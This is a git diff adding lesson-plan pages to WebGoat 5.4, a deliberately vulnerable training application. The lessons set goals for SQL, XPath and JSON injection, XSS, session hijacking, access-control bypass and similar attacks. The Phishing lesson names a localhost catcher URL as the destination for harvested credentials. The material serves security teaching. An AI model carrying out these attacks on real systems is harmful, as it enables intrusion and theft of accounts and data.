+This lesson teaches how to perform JSON Injection Attacks.
+
+
+
+How the attacks works:
+
+JavaScript Object Notation (JSON) is a simple and effective lightweight data exchange format. JSON can be in a lot of forms such as arrays, lists, hashtables and other data structures.
+JSON is widely used in AJAX and Web2.0 application and is favored by programmers over XML because of its ease of use and speed.
+However, JSON, like XML is prone to Injection attacks. A malicious attacker can inject the reply from the server and inject some arbitrary values in there.
+
+
+
General Goal(s):
+
+* You are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code SEA.
+* Once you enter the three digit code of the airport, an AJAX request will be executed asking for the ticket price.
+* You will notice that there are two flights available, an expensive one with no stops and another cheaper one with 2 stops.
+* Your goal is to try to get the one with no stops but for a cheaper price.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/JavaScriptValidation.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/JavaScriptValidation.html
new file mode 100644
index 000000000..7819de2bf
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/JavaScriptValidation.html
@@ -0,0 +1,14 @@
+
+
Lesson Plan Title: How to Bypass Client Side JavaScript Validation
+
+
Concept / Topic To Teach:
+
+Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application.
+
+
+
General Goal(s):
+For this exercise, the web site requires that you follow certain rules when you fill out a form. The user should be able to break those rules, and send the website input that it wasn't expecting.
+
+This website performs both client and server side validation. For this exercise, your job is to break the client side validation and send the
+ website input that it wasn't expecting. You must break all 7 validators at the same time.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/Lesson_Plan_Template.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/Lesson_Plan_Template.html
new file mode 100644
index 000000000..66293a95c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/Lesson_Plan_Template.html
@@ -0,0 +1,17 @@
+
+
Lesson Plan Title:
+
+
+
Concept / Topic To Teach:
+
Standards Addressed:
+
General Goal(s):
+
Specific Objectives:
+
Required Materials:
+
Anticipatory Set (Lead-In):
+
Step-By-Step Procedures:
+
Plan For Independent Practice:
+
Closure (Reflect Anticipatory Set):
+
Assessment Based On Objectives:
+
Extensions (For Gifted Students):
+
Possible Connections To Other Subjects:
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/LogSpoofing.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/LogSpoofing.html
new file mode 100644
index 000000000..105e38f54
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/LogSpoofing.html
@@ -0,0 +1,20 @@
+
+
Lesson Plan Title: How to Perform Log Spoofing.
+
+
+
Concept / Topic To Teach:
+ This lesson teaches attempts to fool the human eye.
+
+
+
+How the attacks works:
+The attack is based on fooling the humane eye in log files. An attacker can erase his traces from the logs
+using this attack.
+
+
+
General Goal(s):
+
+* The grey area below represents what is going to be logged in the web server's log file.
+* Your goal is to make it like a username "admin" has succeeded into logging in.
+* Elevate your attack by adding a script to the log file.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/MultiLevelLogin1.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/MultiLevelLogin1.html
new file mode 100644
index 000000000..b5bd6118d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/MultiLevelLogin1.html
@@ -0,0 +1,20 @@
+
+
Lesson Plan Title: Multi Level Login 1
+
+
Concept / Topic To Teach:
+
+A Multi Level Login should provide a strong authentication.
+This is archived by adding a second layer. After having
+logged in with your user name and password you are asked
+for a 'Transaction Authentication Number' (TAN). This is
+often used by online banking. You get a list with a lots
+of TANs generated only for you by the bank. Each TAN is used only once.
+Another method is to provide the TAN by SMS. This has
+the advantage that an attacker can not get TANs provided
+by the user.
+
General Goal(s):
+In this Lesson you try to get around the strong authentication.
+You have to break into another account. The user name, password and a
+already used TAN is provided. You have to make sure
+the server accept the TAN even it is already used.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/MultiLevelLogin2.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/MultiLevelLogin2.html
new file mode 100644
index 000000000..3514b7148
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/MultiLevelLogin2.html
@@ -0,0 +1,20 @@
+
+
Lesson Plan Title: Multi Level Login 2
+
+
Concept / Topic To Teach:
+
+A Multi Level Login should provide a strong authentication.
+This is archived by adding a second layer. After having
+logged in with your user name and password you are asked
+for a 'Transaction Authentication Number' (TAN). This is
+often used by online banking. You get a list with a lots
+of TANs generated only for you by the bank. Each TAN is used only once.
+Another method is to provide the TAN by SMS. This has
+the advantage that an attacker can not get TANs provided
+by the user.
+
General Goal(s):
+In this lesson you have to try to break into another account.
+You have an own account for WebGoat Financial but you want to
+log into another account only knowing the user name of the victim
+to attack.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/NewLesson.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/NewLesson.html
new file mode 100644
index 000000000..234b170d8
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/NewLesson.html
@@ -0,0 +1,13 @@
+
+
+
Create A WebGoat Lesson
+
+Adding lessons to WebGoat is very easy. If you have an idea that would be suitable
+for a new lesson, follow these few simple instructions to implement it:
+
+Accounts are only as secure as their passwords. Most users have the same weak password everywhere. If you want to protect them against brute-force-attacks your application should have good requirements for passwords. The password should contain lower case letters, capitals and numbers. The longer the password, the better.
+
+
+
General Goal(s):
+ For this exercise, your job is to test several passwords on https://www.cnlab.ch/codecheck
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/PathBasedAccessControl.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/PathBasedAccessControl.html
new file mode 100644
index 000000000..235bd2528
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/PathBasedAccessControl.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Bypass a Path Based Access Control Scheme
+
+
Concept / Topic To Teach:
+
+In a path based access control scheme, an attacker can traverse a path by providing relative path information. Therefore an attacker can use relative paths to access files that normally are not directly accessible by anyone, or would otherwise be denied if requested directly.
+
+
General Goal(s):
+The user should be able to access a file that is not in the listed directory.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/Phishing.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/Phishing.html
new file mode 100644
index 000000000..9b0127d14
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/Phishing.html
@@ -0,0 +1,16 @@
+
+
Lesson Plan Title: Phishing with XSS
+
+
Concept / Topic To Teach:
+
+It is always a good practice to validate all input on the server side.
+ XSS can occur when unvalidated user input is used in an HTTP response.
+ With the help of XSS you can do a Phishing Attack and add content to a page
+ which looks official. It is very hard for a victim to determinate
+ that the content is malicious.
+
+
General Goal(s):
+The user should be able to add a form asking for username
+and password. On submit the input should be sent
+to http://localhost/WebGoat/catcher?PROPERTY=yes &user=catchedUserName&password=catchedPasswordName
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ReflectedXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ReflectedXSS.html
new file mode 100644
index 000000000..9db959e07
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ReflectedXSS.html
@@ -0,0 +1,13 @@
+
+
Lesson Plan Title: How to Perform Reflected Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+
+It is always a good practice to validate all input on the server side.
+ XSS can occur when unvalidated user input is used in an HTTP response.
+ In a reflected XSS attack, an attacker can craft a URL with the attack
+ script and post it to another website, email it, or otherwise get a
+ victim to click on it.
+
+
General Goal(s):
+For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script and do something bad.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/RemoteAdminFlaw.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/RemoteAdminFlaw.html
new file mode 100644
index 000000000..e852cbcba
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/RemoteAdminFlaw.html
@@ -0,0 +1,11 @@
+
+
Lesson Plan Title: How to Force Browser Web Resources
+
+
Concept / Topic To Teach:
+Applications will often have an administrative interface that allows privileged users access to functionality that normal users shouldn't see. The application server will often have an admin interface as well.
+
Standards Addressed :
+
General Goal(s):
+
+Try to access the administrative interface for WebGoat. You may also try to access the administrative interface for Tomcat. The Tomcat admin interface can be accessed via a URL (/admin) and will not count towards the completion of this lesson.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/RoleBasedAccessControl.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/RoleBasedAccessControl.html
new file mode 100644
index 000000000..132dc235f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/RoleBasedAccessControl.html
@@ -0,0 +1,15 @@
+
+
Lesson Plan Title: Role Based Access Control
+
+
Concept / Topic To Teach:
+
+In role-based access control scheme, a role represents a set of access permissions and privileges. A user can be assigned one or more roles. A role-based access control normally consists of two parts: role permission management and role assignment. A broken role-based access control scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or somehow obtain unauthorized roles.
+
+
General Goal(s):
+Your goal is to explore the access control rules that govern this site. Each role has permission to certain resources (A-F). Each user is assigned one or more roles. Only the user with the [Admin] role should have access to the 'F' resources. In a successful attack, a user doesn't have the [Admin] role can access resource F.
+
Lesson Resources:
+Org Chart
+
+Access Control Matrix
+
+Database Schema
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SQLInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SQLInjection.html
new file mode 100644
index 000000000..95f4ae304
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SQLInjection.html
@@ -0,0 +1,14 @@
+
+
Lesson Plan Title: How to Perform a SQL Injection
+
+
+
Concept / Topic To Teach:
+
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.
+
General Goal(s):
+For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to defeat these attacks.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SameOriginPolicyProtection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SameOriginPolicyProtection.html
new file mode 100644
index 000000000..b7db5d10e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SameOriginPolicyProtection.html
@@ -0,0 +1,13 @@
+
+
Lesson Plan Title: Same Origin Policy Protection
+
+
Concept / Topic To Teach:
+
+A key element of AJAX is the XMLHttpRequest (XHR), which allows javascript to make asynchronous
+calls from the client side to a server. However, as a security measure these requests may
+only be made to the server from which the client page originated.
+
+
General Goal(s):
+This exercise demonstrates the Same Origin Policy Protection. XHR requests
+can only be passed back to the originating server. Attempts to pass data to
+a non-originating server will fail.";
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SessionFixation.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SessionFixation.html
new file mode 100644
index 000000000..c7e70f3aa
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SessionFixation.html
@@ -0,0 +1,33 @@
+
+
Lesson Plan Title: Session Fixation
+
+
+
Concept / Topic To Teach:
+How to steal a session with a 'Session Fixation'
+
+
+
+How the attacks works:
+
+A user is recognized by the server by an unique Session ID. If a
+user has logged in and is authorized he does not have to
+reauthorize when he revisits the application as the user is recognized
+by the Session ID. In some applications it is possible to deliver
+the Session ID in the Get-Request. Here is where the attack starts.
+
+An attacker can send a hyperlink to a victim with a chosen Session ID.
+This can be done for example by a prepared mail which looks like an
+official mail from the application administrator.
+If the victim clicks on the link and logs in he is authorized
+by the Session ID the attacker has chosen. The attacker
+can visit the page with the same ID and is recognized as the victim and
+gets logged in without authorization.
+
+
General Goal(s):
+
+This lesson has several stages. You play the attacker but also the victim.
+After having done this lesson it should be understood how
+a Session Fixation in general works. It should be also understood that
+it is a bad idea to use the Get-Request for Session IDs.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SilentTransactions.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SilentTransactions.html
new file mode 100644
index 000000000..d3377dce8
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SilentTransactions.html
@@ -0,0 +1,24 @@
+
+
Lesson Plan Title: How to Perform Silent Transactions Attacks.
+
+
+
Concept / Topic To Teach:
+This lesson teaches how to perform silent transactions attacks.
+
+
+
+How the attacks works:
+
+Any system that silently processes transactions using a single submission is dangerous to the client.
+For example, if a normal web application allows a simple URL submission, a preset session attack will
+allow the attacker to complete a transaction without the user’s authorization.
+In Ajax, it gets worse: the transaction is silent; it happens with no user feedback on the page,
+so an injected attack script may be able to steal money from the client without authorization.
+
+
General Goal(s):
+
+* This is a sample internet banking application - money transfer page.
+* It shows below your balance, the account you are transferring to and amount you will transfer.
+* The application uses AJAX to submit the transaction after doing some basic client side validations.
+* Your goal is to try to bypass the user's authorization and silently execute the transaction.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SoapRequest.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SoapRequest.html
new file mode 100644
index 000000000..1b7b6b0e4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SoapRequest.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Create a SOAP Request
+
+
Concept / Topic To Teach:
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL). Let's learn something about WSDL files. Check out WebGoat's web service description language (WSDL) file.
+
General Goal(s):
+Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service is: http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by adding a ?WSDL on the end of the web service request.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SqlNumericInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SqlNumericInjection.html
new file mode 100644
index 000000000..a081c1a29
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SqlNumericInjection.html
@@ -0,0 +1,14 @@
+
+
Lesson Plan Title: How to Perform Numeric SQL Injection
+
+
+
Concept / Topic To Teach:
+
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
General Goal(s):
+The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/SqlStringInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/SqlStringInjection.html
new file mode 100644
index 000000000..2dc84b697
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/SqlStringInjection.html
@@ -0,0 +1,14 @@
+
+
Lesson Plan Title: How to Perform String SQL Injection
+
+
+
Concept / Topic To Teach:
+
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
General Goal(s):
+The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. Try the user name of 'Smith'.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/StoredXss.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/StoredXss.html
new file mode 100644
index 000000000..e2662164f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/StoredXss.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Perform Stored Cross Site Scripting (XSS)
+
+
Concept / Topic To Teach:
+
+It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved.
+
+
General Goal(s):
+The user should be able to add message content that cause another user to load an undesireable page or content.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/ThreadSafetyProblem.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/ThreadSafetyProblem.html
new file mode 100644
index 000000000..1b01a915d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/ThreadSafetyProblem.html
@@ -0,0 +1,22 @@
+
+
+
+
+
+ Lesson Plan
+
+
+
+
+
Lesson Plan Title: How to Exploit Thread Safety Problems
+
+
+
Concept / Topic To Teach:
+
+ Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
+
+
General Goal(s):
+The user should be able to exploit the concurrency error in the web application and view login information for another user that is attempting the same function at the same time. This will require the use of two browsers.
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/TomcatSetup.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/TomcatSetup.html
new file mode 100644
index 000000000..2f33d253c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/TomcatSetup.html
@@ -0,0 +1,114 @@
+
+
How To Configure Tomcat
+
Introduction
+
WebGoat comes with default configurations for Tomcat. This page will explain these configurations
+and other possible configurations for Tomcat. This is just
+a short description which should be enough in most cases. For more advanced tasks please
+refer to the Tomcat documentation. Please note that all solutions
+are written for the standard configurations on port 80. If you use another port you have
+to adjust the solution to your configuration.
+
+
The Standard Configurations
+
There are two standard Tomcat configurations. In the basic configurations you use the server on your localhost.
+ Both are identically with the only difference
+ that in one tomcat is running on port 80 and 443 (SSL) and in the other tomcat is running on port 8080 and 8443. In Linux you have
+ to start WebGoat as root or with sudo if you want to run it on port 80 and
+ 443.
+ As running software as root is dangerous we strongly advice to use
+the port 8080 and 8443. In Windows you can
+run WebGoat.bat to run it on port 80 and WebGoat_8080.bat to run it on port 8080. In Linux you
+can use webgoat.sh and run it with webgoat.sh start80 or webgoat.sh start8080. The user in these
+configurations is guest with password guest
+
+
+
Server Configurations
+
+If you are a single user of WebGoat the standard configurations should be
+enough but if you want to use WebGoat in laboratory or in class there
+might be the need to change the configurations. Before changing
+the configurations we recommend doing a backup of the files you change.
+
+
+
Change Ports
+
+To change the ports open the server_80.xml which you find in tomcat/conf and change the
+non-SSL port. If you want to use it on port 8079 for example:
+
+
+
+ <!-- Define a non-SSL HTTP/1.1 Connector on port 8079 -->
+ <Connector address="127.0.0.1" port="8079"...
+
+
+You can also change the SSL connector to another port of course.
+In this example to port 8442:
+
+
+ <!-- Define a SSL HTTP/1.1 Connector on port 8442 -->
+ <Connector address="127.0.0.1" port="8442"...
+
+
+
+
Make WebGoat Reachable From Another Client
+
THIS MAKES IT POSSIBLE TO REALLY ATTACK YOUR SERVER! DO NOT DO THIS
+ UNTIL YOU KNOW WHAT YOU ARE DOING. THIS CONFIGURATION SHOULD BE ONLY USED IN
+SAFE NETWORKS!
+
By its default configurations WebGoat is only
+reachable within the localhost. In a laboratory or a class
+there is maybe the need of having a server and a few clients.
+In this case it is possible to make WebGoat reachable.
+
+
The reason why WebGoat is only reachable within the localhost is
+the parameter address in the connectors for the non-SSL and SSL connection in server_80.xml. It is set
+to 127.0.0.1. The applications only listens on the port of this address for
+incoming connections if it is set. If you remove this parameter the server listens on all IPs on the
+specific port.
+
+
Permit Only Certain Clients Connection
+
+If you have made WebGoat reachable it is reachable for
+all clients. If you want to make it reachable only for certain clients specified
+by there IP you can archive this by using a 'Remote Address Filter'.
+The filter can be set in a whitebox or blackbox approach. Here is
+only discussed the whitebox approach. You have to add following lines to the Host section of web_80.xml:
+
+Usually using WebGoat you just use the user guest with the password guest.
+But maybe in laboratory you have made a setup with one server and a lot of
+clients. In this case you might want to have a user for every client
+ and you have to alter tomcat-users.xml
+in tomcat/conf as the users are stored there. We recommend not to use real passwords
+as the passwords are stored in plain text in this file!
+
+
Add User
+
+Adding a user is straight forward. You can use the guest entry as an example. The added
+users should have the same role as the guest user. Add lines like this to the file:
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/TraceXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/TraceXSS.html
new file mode 100644
index 000000000..2358d4fc4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/TraceXSS.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Perform Cross Site Tracing (XST) Attacks
+
+
Concept / Topic To Teach:
+
+It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved.
+
General Goal(s):
+Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross Site Tracing (XST) attack.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/UncheckedEmail.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/UncheckedEmail.html
new file mode 100644
index 000000000..db3c630e9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/UncheckedEmail.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Exploit Unchecked Email
+
+
Concept / Topic To Teach:
+
+It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send email to a 'friend'. This is a great mechanism for spammers to send out email using your corporate mail server.
+
+
General Goal(s):
+The user should be able to send and obnoxious email message.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/UsefulTools.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/UsefulTools.html
new file mode 100644
index 000000000..e69db2dce
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/UsefulTools.html
@@ -0,0 +1,44 @@
+
+
+
Useful Tools
+
+Below is a list of tools we've found useful in solving the WebGoat lessons. You will need WebScarab or Paros to solve most of the lessons.
+
WebScarab:
+
+Like WebGoat, WebScarab is a part of OWASP.
+WebScarab is a proxy for analyzing applications that
+communicate using the HTTP and HTTPS protocols. Because WebScarab
+operates as an intercepting proxy, we can review and modify requests
+and responses.
+There are many vulnerability scanners for your own web applications. They can find XSS, Injection Flaws and other vulnerabilities. Below are links to two open source scanner.
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file.
+
General Goal(s):
+This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/WeakAuthenticationCookie.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/WeakAuthenticationCookie.html
new file mode 100644
index 000000000..9c9b86c8a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/WeakAuthenticationCookie.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Spoof an Authentication Cookie
+
+
+
Concept / Topic To Teach:
+
+Many applications will automatically log a user into their site if the right authentication cookie is specified. Some times the cookie values can be guessed if the algorithm for generating the cookie can be obtained. Some times the cookies are left on the client machine and can be stolen by exploiting another system vulnerability. Some times the cookies maybe intercepted using Cross site scripting. This lesson tries to make the student aware of authentication cookies and presents the student with a way to defeat the cookie authentication method in this lesson.
+
General Goal(s):
+
+ The user should be able to bypass the authentication check.
+Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect. When you understand the authentication cookie, try changing your identity to alice.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/WeakSessionID.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/WeakSessionID.html
new file mode 100644
index 000000000..45157e0b5
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/WeakSessionID.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Hijack a Session
+
+
Concept / Topic To Teach:
+
+Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks.
+
General Goal(s):
+Try to access an authenticated session belonging to someone else.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/WelcomeScreeen.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/WelcomeScreeen.html
new file mode 100644
index 000000000..be93e40e2
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/WelcomeScreeen.html
@@ -0,0 +1,16 @@
+
+
Lesson Plan Title:Welcome
+
+
Concept / Topic To Teach:
+This lesson presents the basics for understanding the transfer of data between the browser and the web application.
+
Standards Addressed:
+
General Goal(s):
+
Specific Objectives:
+
Required Materials:
+
Anticipatory Set (Lead-In):
+
Step-By-Step Procedures:
+
Plan For Independent Practice:
+
Closure (Reflect Anticipatory Set):
+
Assessment Based On Objectives:
+
Extensions (For Gifted Students):
+
Possible Connections To Other Subjects:
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/WsSAXInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/WsSAXInjection.html
new file mode 100644
index 000000000..23a2e8607
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/WsSAXInjection.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Perform Web Service SAX Injection
+
+
Concept / Topic To Teach:
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file.
+
General Goal(s):
+Some web interfaces make use of Web Services in the background. If the frontend relies on the web service for all input validation, it may be possible to corrupt the XML that the web interface sends.
+
+
+In this exercise, try to change the password for a user other than 101.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/WsSqlInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/WsSqlInjection.html
new file mode 100644
index 000000000..95738b0bf
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/WsSqlInjection.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Perform Web Service SQL Injection
+
+
Concept / Topic To Teach:
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file.
+
General Goal(s):
+Check the web service description language (WSDL) file and try to obtain multiple customer credit card numbers. You will not see the results returned to this screen. When you believe you have suceeded, refresh the page and look for the 'green star'.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/XMLInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/XMLInjection.html
new file mode 100644
index 000000000..fc9c73697
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/XMLInjection.html
@@ -0,0 +1,19 @@
+
+
Lesson Plan Title: How to Perform XML Injection Attacks.
+
+
+
Concept / Topic To Teach:
+ This lesson teaches how to perform XML Injection attacks.
+
+
+
+How the attacks works:
+
+AJAX applications use XML to exchange information with the server. This XML can be easily intercepted and altered by a malicious attacker.
+
+
+
General Goal(s):
+
+WebGoat-Miles Reward Miles shows all the rewards available. Once you've entered your account ID, the lesson will show you your balance and the products you can afford. Your goal is to try to add more rewards to your allowed set of rewards. Your account ID is 836239.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/en/XPATHInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/en/XPATHInjection.html
new file mode 100644
index 000000000..926d8f151
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/en/XPATHInjection.html
@@ -0,0 +1,22 @@
+
+
Lesson Plan Title: How to Perform XPATH Injection Attacks.
+
+
+
Concept / Topic To Teach:
+ This lesson teaches how to perform XPath Injection attacks.
+
+
+
+How the attacks works:
+
+Similar to SQL Injection, XPATH Injection attacks occur when a web site uses user supplied information to query XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured or access data that they may not normally have access to.
+They may even be able to elevate their privileges on the web site if the xml data is being used for authentication (such as an xml based user file).
+
+Querying XML is done with XPath, a type of simple descriptive statement that allows the xml query to locate a piece of information. Like SQL you can specify certain attributes to find and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data.
+
+
+
+
General Goal(s):
+
+The form below allows employees to see all their personal data including their salaries. Your account is Mike/test123. Your goal is to try to see other employees data as well.
+
